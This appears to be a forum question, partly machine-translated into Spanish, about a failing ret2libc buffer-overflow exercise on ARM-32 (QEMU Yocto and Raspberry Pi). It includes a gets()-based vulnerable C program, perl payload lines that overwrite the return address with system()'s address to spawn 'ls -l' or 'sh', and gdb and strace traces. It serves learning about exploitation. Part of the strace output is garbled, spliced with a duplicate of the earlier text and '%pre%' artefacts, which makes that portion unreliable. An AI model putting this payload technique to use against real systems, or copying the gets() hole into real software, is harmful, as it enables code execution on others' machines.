Con el espíritu de obtener una comprensión profunda, he leído y trabajado en algunos hacks pequeños que involucran ataques de Buffer OverFlow (BOF), en particular, en un sistema ARM-32, mediante el ataque de estilo Ret2Libc.
Todo funciona bastante bien hasta cierto punto. La técnica básica (los expertos pueden saltarse todo esto, por supuesto): -utiliza deliberadamente una api "mala" - obtiene () en la función foo () a continuación - para que uno pueda fácilmente desbordar su búfer; Pasamos cuidadosamente un búfer creado al programa:
perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
donde 0x76e9ffac es la dirección de la función glibc 'system ()'. (sí, también lo intenté con ASLR desactivado).
Env: a) Un ARM926EJ-S rev 5 (v5l) (ARM-32) emulado por Qemu que ejecuta el 4.8.12-yocto-estándar kernel de Linux construido con Yocto Poky!
b) un Raspberry Pi 3 Modelo B con Raspbian 8.
EL PROBLEMA: la ejecución procede de la manera esperada, de hecho ingresa el código del sistema (3); He verificado esto incluso con un solo paso a través del código (en la compilación Yocto con la depuración habilitada).
El problema: el parámetro que se pasa a do_system () se está poniendo a cero [??]. Además, he verificado que este es realmente el caso (al realizar un solo paso y hacer una búsqueda de él).
Por favor, vea un ejemplo de ejecución a continuación en el R Pi y un sistema basado en Yocto:
-i uso un archivo (rpi_input3.bin) para alimentar la entrada, que básicamente es: "ls -l". "\ x00" x11. "\ xac \ xff \ xe9 \ x76"
El código 'C' arm_buf_vuln.c:
static void foo(void)
{
char local[12];
gets(local);
}
int main (int argc, char **argv)
{
foo();
exit (EXIT_SUCCESS);
}
Sesión de muestra en el R Pi:
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x00010494 <+0>: push {r11, lr}
0x00010498 <+4>: add r11, sp, #4
0x0001049c <+8>: sub sp, sp, #16
0x000104a0 <+12>: sub r3, r11, #16
0x000104a4 <+16>: mov r0, r3
0x000104a8 <+20>: bl 0x1030c
0x000104ac <+24>: sub sp, r11, #4
0x000104b0 <+28>: pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin
Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000 0x76e9ffac 0x7efff600 0x00000001
0x7efff538: 0x00000000 0x76e7e294 0x76fa3000 0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c 0x0000006c 0x00000000 0x00000000
0x7efff52c: 0x76e9ffac 0x7efff600 0x00000001 0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
< < NOTA: en este punto, el parámetro de sistema () es correcto! Pero, en realidad se anula más tarde > >
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0 0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1 0x000104b4 in foo ()
(gdb)
En un sistema Yocto, el fragmento de salida de strace:
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf << -v: verbose
-f: follow any children >>
./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL) = 0x21000
[...]
brk(NULL) = 0x21000
brk(0x43000) = 0x43000
read(0, "shperl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
static void foo(void)
{
char local[12];
gets(local);
}
int main (int argc, char **argv)
{
foo();
exit (EXIT_SUCCESS);
}
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x00010494 <+0>: push {r11, lr}
0x00010498 <+4>: add r11, sp, #4
0x0001049c <+8>: sub sp, sp, #16
0x000104a0 <+12>: sub r3, r11, #16
0x000104a4 <+16>: mov r0, r3
0x000104a8 <+20>: bl 0x1030c
0x000104ac <+24>: sub sp, r11, #4
0x000104b0 <+28>: pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin
Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000 0x76e9ffac 0x7efff600 0x00000001
0x7efff538: 0x00000000 0x76e7e294 0x76fa3000 0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c 0x0000006c 0x00000000 0x00000000
0x7efff52c: 0x76e9ffac 0x7efff600 0x00000001 0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0 0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1 0x000104b4 in foo ()
(gdb)
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf << -v: verbose
-f: follow any children >>
./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL) = 0x21000
[...]
brk(NULL) = 0x21000
brk(0x43000) = 0x43000
read(0, "sh%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20 << this is the gets() !
reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797
<< the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
<unfinished ...> << strace -f takes effect – the child is being followed below >>
[pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
<< here: the parameter to execve() is null ! Hence, it fails >>
[pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20 << this is the gets() !
reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797
<< the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
<unfinished ...> << strace -f takes effect – the child is being followed below >>
[pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
<< here: the parameter to execve() is null ! Hence, it fails >>
[pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
¿Por qué se anula el parámetro? ¡TIA!